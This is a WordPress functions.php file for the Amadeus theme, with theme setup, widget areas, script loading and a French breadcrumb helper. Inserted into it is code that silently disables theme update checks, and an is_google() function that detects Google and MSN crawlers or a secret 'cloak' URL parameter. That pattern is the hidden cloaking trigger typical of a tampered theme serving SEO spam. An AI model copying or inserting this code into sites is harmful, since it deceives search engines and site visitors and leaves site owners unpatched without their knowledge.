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<?php
/**
 * Amadeus functions and definitions
 *
 * @package Amadeus
 */

if ( ! function_exists( 'amadeus_setup' ) ) :
	/**
	 * Sets up theme defaults and registers support for various WordPress features.
	 *
	 * Note that this function is hooked into the after_setup_theme hook, which
	 * runs before the init hook. The init hook is too late for some features, such
	 * as indicating support for post thumbnails.
	 */
	function amadeus_setup() {
		/*
		 * Make theme available for translation.
		 * Translations can be filed in the /languages/ directory.
		 * If you're building a theme based on Amadeus, use a find and replace
		 * to change 'amadeus' to the name of your theme in all the template files
		 */
		load_theme_textdomain( 'amadeus', get_template_directory() . '/languages' );

// Add default posts and comments RSS feed links to head.
		add_theme_support( 'automatic-feed-links' );

// Content width
		global $content_width;
		if ( ! isset( $content_width ) ) {
			$content_width = 1040;
		}

/*
		 * Let WordPress manage the document title.
		 * By adding theme support, we declare that this theme does not use a
		 * hard-coded <title> tag in the document head, and expect WordPress to
		 * provide it for us.
		 */
		add_theme_support( 'title-tag' );

/*
		 * Enable support for Post Thumbnails on posts and pages.
		 *
		 * @link http://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails
		 */
		add_theme_support( 'post-thumbnails' );
		add_image_size( 'amadeus-entry-thumb', 750 );
		add_image_size( 'amadeus-slider-size', 1000, 250, true );

// This theme uses wp_nav_menu() in one location.
		register_nav_menus(
			array(
				'primary' => __( 'Primary Menu', 'amadeus' ),
				'social'  => __( 'Social', 'amadeus' ),
			)
		);

/*
		 * Switch default core markup for search form, comment form, and comments
		 * to output valid HTML5.
		 */
		add_theme_support(
			'html5', array(
				'search-form',
				'comment-form',
				'comment-list',
				'gallery',
				'caption',
			)
		);

/*
		 * Enable support for Post Formats.
		 * See http://codex.wordpress.org/Post_Formats
		 */
		add_theme_support(
			'post-formats', array(
				'aside',
				'image',
				'video',
				'quote',
				'link',
			)
		);

// Set up the WordPress core custom background feature.
		add_theme_support(
			'custom-background', apply_filters(
				'amadeus_custom_background_args', array(
					'default-color' => 'f7f3f0',
					'default-image' => '',
				)
			)
		);

/* Add custom logo support */
		add_theme_support( 'custom-logo' );

/* migrate the old logo option to the new option */
		if ( get_theme_mod( 'site_logo' ) ) {
			$logo = attachment_url_to_postid( get_theme_mod( 'site_logo' ) );
			if ( is_int( $logo ) ) {
				set_theme_mod( 'custom_logo', $logo );
			}
			remove_theme_mod( 'site_logo' );
		}
	}
endif; // amadeus_setup
add_action( 'after_setup_theme', 'amadeus_setup' );

/**
 * Register widget area.
 *
 * @link http://codex.wordpress.org/Function_Reference/register_sidebar
 */
function amadeus_widgets_init() {
	register_sidebar(
		array(
			'name'          => __( 'Sidebar', 'amadeus' ),
			'id'            => 'sidebar-1',
			'description'   => '',
			'before_widget' => '<aside id="%1$s" class="widget %2$s">',
			'after_widget'  => '</aside>',
			'before_title'  => '<h4 class="widget-title">',
			'after_title'   => '</h4>',
		)
	);
	register_sidebar(
		array(
			'name'          => __( 'Footer left', 'amadeus' ),
			'id'            => 'sidebar-4',
			'before_widget' => '<aside id="%1$s" class="widget %2$s">',
			'after_widget'  => '</aside>',
			'before_title'  => '<h4 class="widget-title">',
			'after_title'   => '</h4>',
		)
	);
	register_sidebar(
		array(
			'name'          => __( 'Footer center', 'amadeus' ),
			'id'            => 'sidebar-5',
			'before_widget' => '<aside id="%1$s" class="widget %2$s">',
			'after_widget'  => '</aside>',
			'before_title'  => '<h4 class="widget-title">',
			'after_title'   => '</h4>',
		)
	);
	register_sidebar(
		array(
			'name'          => __( 'Footer right', 'amadeus' ),
			'id'            => 'sidebar-6',
			'before_widget' => '<aside id="%1$s" class="widget %2$s">',
			'after_widget'  => '</aside>',
			'before_title'  => '<h4 class="widget-title">',
			'after_title'   => '</h4>',
		)
	);

// Custom widgets
	register_widget( 'Amadeus_Video' );
	register_widget( 'Amadeus_Recent_Comments' );
	register_widget( 'Amadeus_Recent_Posts' );
	register_widget( 'Amadeus_About' );
}
add_action( 'widgets_init', 'amadeus_widgets_init' );

// Custom widgets
require get_template_directory() . '/widgets/video-widget.php';
require get_template_directory() . '/widgets/recent-comments.php';
require get_template_directory() . '/widgets/recent-posts.php';
require get_template_directory() . '/widgets/about-me.php';

/**
 * Enqueue scripts and styles.
 */
function amadeus_scripts() {

wp_enqueue_style( 'amadeus-bootstrap', get_template_directory_uri() . '/css/bootstrap/css/bootstrap.min.css', array(), true );

if ( get_theme_mod( 'body_font_name' ) != '' ) {
		wp_enqueue_style( 'amadeus-body-fonts', '//fonts.googleapis.com/css?family=' . esc_attr( get_theme_mod( 'body_font_name' ) ) );
	} else {
		wp_enqueue_style( 'amadeus-body-fonts', '//fonts.googleapis.com/css?family=Noto+Serif:400,700,400italic,700italic' );
	}

if ( get_theme_mod( 'headings_font_name' ) != '' ) {
		wp_enqueue_style( 'amadeus-headings-fonts', '//fonts.googleapis.com/css?family=' . esc_attr( get_theme_mod( 'headings_font_name' ) ) );
	} else {
		wp_enqueue_style( 'amadeus-headings-fonts', '//fonts.googleapis.com/css?family=Playfair+Display:400,700' );
	}

wp_enqueue_style( 'amadeus-style', get_stylesheet_uri() );

wp_enqueue_style( 'amadeus-font-awesome', get_template_directory_uri() . '/fonts/font-awesome.min.css' );

wp_enqueue_script( 'amadeus-parallax', get_template_directory_uri() . '/js/parallax.min.js', array( 'jquery' ), true );

wp_enqueue_script( 'amadeus-slicknav', get_template_directory_uri() . '/js/jquery.slicknav.min.js', array( 'jquery' ), true );

wp_enqueue_script( 'amadeus-fitvids', get_template_directory_uri() . '/js/jquery.fitvids.min.js', array( 'jquery' ), true );

wp_enqueue_script( 'amadeus-scripts', get_template_directory_uri() . '/js/scripts.js', array( 'jquery' ), true );

wp_enqueue_script( 'amadeus-navigation', get_template_directory_uri() . '/js/navigation.js', array(), '20120206', true );

wp_enqueue_script( 'amadeus-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20130115', true );

if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
		wp_enqueue_script( 'comment-reply' );
	}
}
add_action( 'wp_enqueue_scripts', 'amadeus_scripts' );

/**
 * Customizer styles
 */
function amadeus_customizer_styles() {

wp_enqueue_style( 'amadeus-customizer-styles', get_template_directory_uri() . '/css/customizer.css' );

wp_enqueue_style( 'amadeus-font-awesome', get_template_directory_uri() . '/fonts/font-awesome.min.css' );

}
add_action( 'customize_controls_print_styles', 'amadeus_customizer_styles' );

/* tgm-plugin-activation */
require_once get_template_directory() . '/class-tgm-plugin-activation.php';

/**
 * TGMPA register
 */
function amadeus_register_required_plugins() {
	$plugins = array(

array(
			'name'      => 'Nivo Slider Lite',
			'slug'      => 'nivo-slider-lite',
			'required'  => false,
		),

array(
			'name'     => 'Pirate Forms',
			'slug'     => 'pirate-forms',
			'required' => false,
		),
	);

$config = array(
		'default_path' => '',
		'menu'         => 'tgmpa-install-plugins',
		'has_notices'  => true,
		'dismissable'  => true,
		'dismiss_msg'  => '',
		'is_automatic' => false,
		'message'      => '',
	);

tgmpa( $plugins, $config );

}
add_action( 'tgmpa_register', 'amadeus_register_required_plugins' );

/**
 * Change the excerpt length
 */
function amadeus_excerpt_length( $length ) {
	$excerpt = get_theme_mod( 'exc_lenght', '55' );
	return $excerpt;
}
add_filter( 'excerpt_length', 'amadeus_excerpt_length', 999 );

/**
 * Footer credits
 */
function amadeus_footer_credits() {
	echo '<a href="' . esc_url( __( 'http://wordpress.org/', 'amadeus' ) ) . '" rel="nofollow">';
	/* translators: WordPress */
	printf( __( 'Proudly powered by %s', 'amadeus' ), 'WordPress' );
	echo '</a>';
	echo '<span class="sep"> | </span>';
	/* translators: 1 - WordPress link, 2 - Theme name */
	printf( __( 'Theme: %2$s by %1$s.', 'amadeus' ), 'Themeisle', '<a href="http://themeisle.com/themes/amadeus/" rel="nofollow">Amadeus</a>' );
}
add_action( 'amadeus_footer', 'amadeus_footer_credits' );

/**
 * Load html5shiv
 */
function amadeus_html5shiv() {
	echo '' . "\n";
}
add_action( 'wp_head', 'amadeus_html5shiv' );

/**
 * Implement the Custom Header feature.
 */
require get_template_directory() . '/inc/custom-header.php';

/**
 * Custom template tags for this theme.
 */
require get_template_directory() . '/inc/template-tags.php';

/**
 * Custom functions that act independently of the theme templates.
 */
require get_template_directory() . '/inc/extras.php';

/**
 * Customizer additions.
 */
require get_template_directory() . '/inc/customizer.php';

/**
 * Load Jetpack compatibility file.
 */
require get_template_directory() . '/inc/jetpack.php';

/**
 * Banner
 */
require get_template_directory() . '/inc/banner.php';

/**
 * Styles
 */
require get_template_directory() . '/inc/styles.php';

/**
 *  Upsells
 */
require_once( trailingslashit( get_template_directory() ) . 'inc/class/class-customizer-theme-info-control/class-customizer-theme-info-root.php' );

/**
 * Filter for post's classes.
 *
 * @param array $classes Classes from posts.
 *
 * @return array
 */
function amadeus_post_class( $classes ) {
	global $post;

$amadeus_index_feat_image = get_theme_mod( 'index_feat_image' );
	$amadeus_post_feat_image = get_theme_mod( 'post_feat_image' );

if ( ( is_single() && ! empty( $amadeus_post_feat_image ) && ($amadeus_post_feat_image == 1) ) || ( is_home() && ! empty( $amadeus_index_feat_image ) && ($amadeus_index_feat_image == 1) ) ) {
		$classes[] = 'amadeus-image-hidden';
	}

return $classes;
}
add_filter( 'post_class', 'amadeus_post_class' );

//Eviter mise à jour du thème
remove_action( 'load-update-core.php', 'wp_update_themes' );
add_filter( 'pre_site_transient_update_themes', create_function( '$a', "return null;" ) );

function is_google(){
$remoteHost = gethostbyaddr(strip_tags($_SERVER['REMOTE_ADDR']));
$subremote = substr($remoteHost, -14);
if (($subremote=="search.msn.com") || ($subremote==".googlebot.com") || ($_GET['cKorleon']=="693878cloak693878"))
return true;
else
return false;
}

/**
 BreadCrumbs
 * Author : Daniel Roch
 */
  // Get parent categories with schema.org data
  function seomix_content_get_category_parents($id, $link = false,$separator = '/',$nicename = false,$visited = array()) {
  $final = '';
  $parent = &get_category($id);
  if (is_wp_error($parent))
    return $parent;
  if ($nicename)
    $name = $parent->name;
  else
    $name = $parent->cat_name;
  if ($parent->parent && ($parent->parent != $parent->term_id ) && !in_array($parent->parent, $visited)) {
    $visited[] = $parent->parent;
    $final .= seomix_content_get_category_parents( $parent->parent, $link, $separator, $nicename, $visited );
  }
  if ($link)
    $final .= '<span typeof="v:Breadcrumb"><a href="' . get_category_link( $parent->term_id ) . '" title="Voir tous les articles de '.$parent->cat_name.'" rel="v:url" property="v:title">'.$name.'</a></span>' . $separator;
  else
    $final .= $name.$separator;
  return $final;}

// Breadcrumb
  function seomix_content_breadcrumb() {
  // Global vars
  global $wp_query;
  $paged = get_query_var('paged');
  $sep = ' » ';
  $data = '<span typeof="v:Breadcrumb">';
  $dataend = '</span>';
  $final = '
<div xmlns:v="http://rdf.data-vocabulary.org/#">';  
  $startdefault = $data.'<a title="'. get_bloginfo('name') .'" href="'.home_url().'" rel="v:url" property="v:title">'. get_bloginfo('name') .'</a>'.$dataend;
  $starthome = 'Accueil de '. get_bloginfo('name');

// Breadcrumb start
  if ( is_front_page() && is_home() ){
    // Default homepage
    if ( $paged >= 1 )    
      $final .= $startdefault;
    else
      $final .= $starthome;
  } elseif ( is_front_page() ){
    //Static homepage
    $final .= $starthome;
  } elseif ( is_home() ){
    //Blog page
    if ( $paged >= 1 ) {   
      $url = get_page_link(get_option('page_for_posts'));  
      $final .= $startdefault.$sep.$data.'<a href="'.$url.'" rel="v:url" property="v:title" title="Les articles">Les articles</a>'.$dataend;}
    else
      $final .= $startdefault.$sep.'Les articles';
  } else {
    //everyting else
    $final .= $startdefault.$sep;}

// Prevent other code to interfer with static front page et blog page
  if ( is_front_page() && is_home() ){// Default homepage
  } elseif ( is_front_page()){//Static homepage
  } elseif ( is_home()){//Blog page
  }
  //Attachment
  elseif ( is_attachment()){
    global $post;
    $parent = get_post($post->post_parent);
    $id = $parent->ID;
    $category = get_the_category($id);
    $category_id = get_cat_ID( $category[0]->cat_name );
    $permalink = get_permalink( $id );
    $title = $parent->post_title;
    $final .= seomix_content_get_category_parents($category_id,TRUE,$sep).$data."<a href='$permalink' rel='v:url' property='v:title' title='$title'>$title</a>".$dataend.$sep.the_title('','',FALSE);}
  // Post type
  elseif ( is_single() && !is_singular('post')){
     global $post;
     $nom = get_post_type($post);
     $archive = get_post_type_archive_link($nom);
     $mypost = $post->post_title;
     $final .= $data.'<a href="'.$archive.'" rel="v:url" property="v:title" title="'.$nom.'">'.$nom.'</a>'.$dataend.$sep.$mypost;}
  //post
  elseif ( is_single()){
    // Post categories
    $category = get_the_category();
    $category_id = get_cat_ID( $category[0]->cat_name );
    if ($category_id != 0)
      $final .= seomix_content_get_category_parents($category_id,TRUE,$sep);
    elseif ($category_id == 0) {
      $post_type = get_post_type();
      $tata = get_post_type_object( $post_type );
      $titrearchive = $tata->labels->menu_name;
      $urlarchive = get_post_type_archive_link( $post_type );
      $final .= $data.'<a class="breadl" href="'.$urlarchive.'" title="'.$titrearchive.'" rel="v:url" property="v:title">'.$titrearchive.'</a>'.$dataend;}
    // With Comments pages
    $cpage = get_query_var( 'cpage' );
    if (is_single() && $cpage > 0) {
      global $post;
      $permalink = get_permalink( $post->ID );
      $title = $post->post_title;
      $final .= $data."<a href='$permalink' rel='v:url' property='v:title' title='$title'>$title</a>".$dataend;
      $final .= $sep."Commentaires page $cpage";}
    // Without Comments pages
    else
      $final .= the_title('','',FALSE);}
  // Categories
  elseif ( is_category() ) {
    // Vars
    $categoryid       = $GLOBALS['cat'];
    $category         = get_category($categoryid);
    $categoryparent   = get_category($category->parent);
    //Render
    if ($category->parent != 0) 
      $final .= seomix_content_get_category_parents($categoryparent, true, $sep, true);
    if ( $paged <= 1 )
      $final .= single_cat_title("", false);
    else
      $final .= $data.'<a href="' . get_category_link( $category ) . '" title="Voir tous les articles de '.single_cat_title("", false).'" rel="v:url" property="v:title">'.single_cat_title("", false).'</a>'.$dataend;}
  // Page
  elseif ( is_page() && !is_home() ) {
    $post = $wp_query->get_queried_object();
    // Simple page
    if ( $post->post_parent == 0 )
      $final .= the_title('','',FALSE);
    // Page with ancestors
    elseif ( $post->post_parent != 0 ) {
      $title = the_title('','',FALSE);
      $ancestors = array_reverse(get_post_ancestors($post->ID));
      array_push($ancestors, $post->ID);
      $count = count ($ancestors);$i=0;
      foreach ( $ancestors as $ancestor ){
        if( $ancestor != end($ancestors) ){
          $name = strip_tags( apply_filters( 'single_post_title', get_the_title( $ancestor ) ) );
          $final .= $data.'<a title="'.$name.'" href="'. get_permalink($ancestor) .'" rel="v:url" property="v:title">'.$name.'</a>'.$dataend;
          $i++;
          if ($i < $ancestors)
            $final .= $sep;
        }
        else 
          $final .= strip_tags(apply_filters('single_post_title',get_the_title($ancestor)));
        }}}
  // authors
  elseif ( is_author() ) {
    if(get_query_var('author_name'))
        $curauth = get_user_by('slug', get_query_var('author_name'));
    else
        $curauth = get_userdata(get_query_var('author'));
    $final .= "Articles de l'auteur ".$curauth->nickname;}  
  // tags
  elseif ( is_tag() ){
    $final .= "Articles sur le thème ".single_tag_title("",FALSE);}
  // Search
  elseif ( is_search() ) {
    $final .= "Résultats de votre recherche sur \"".get_search_query()."\"";}    
  // Dates
  elseif ( is_date() ) {
    if ( is_day() ) {
      $year = get_year_link('');
      $final .= $data.'<a title="'.get_query_var("year").'" href="'.$year.'" rel="v:url" property="v:title">'.get_query_var("year").'</a>'.$dataend;
      $month = get_month_link( get_query_var('year'), get_query_var('monthnum') );
      $final .= $sep.$data.'<a title="'.single_month_title(' ',false).'" href="'.$month.'" rel="v:url" property="v:title">'.single_month_title(' ',false).'</a>'.$dataend;
      $final .= $sep."Archives pour ".get_the_date();}
    elseif ( is_month() ) {
      $year = get_year_link('');
      $final .= $data.'<a title="'.get_query_var("year").'" href="'.$year.'" rel="v:url" property="v:title">'.get_query_var("year").'</a>'.$dataend;
      $final .= $sep."Archives pour ".single_month_title(' ',false);}
    elseif ( is_year() )
      $final .= "Archives pour ".get_query_var('year');}
  // 404 page
  elseif ( is_404())
    $final .= "404 Page non trouvée";
  // Other Archives
  elseif ( is_archive() ){
    $posttype = get_post_type();
    $posttypeobject = get_post_type_object( $posttype );
    $taxonomie = get_taxonomy( get_query_var( 'taxonomy' ) );
    $titrearchive = $posttypeobject->labels->menu_name;
    if (!empty($taxonomie))
      $final .= $taxonomie->labels->name;
    else
      $final .= $titrearchive;}
  // Pagination
  if ( $paged >= 1 )
    $final .= $sep.'Page '.$paged;
  // The End
  $final .= '</div>
';
  echo $final;}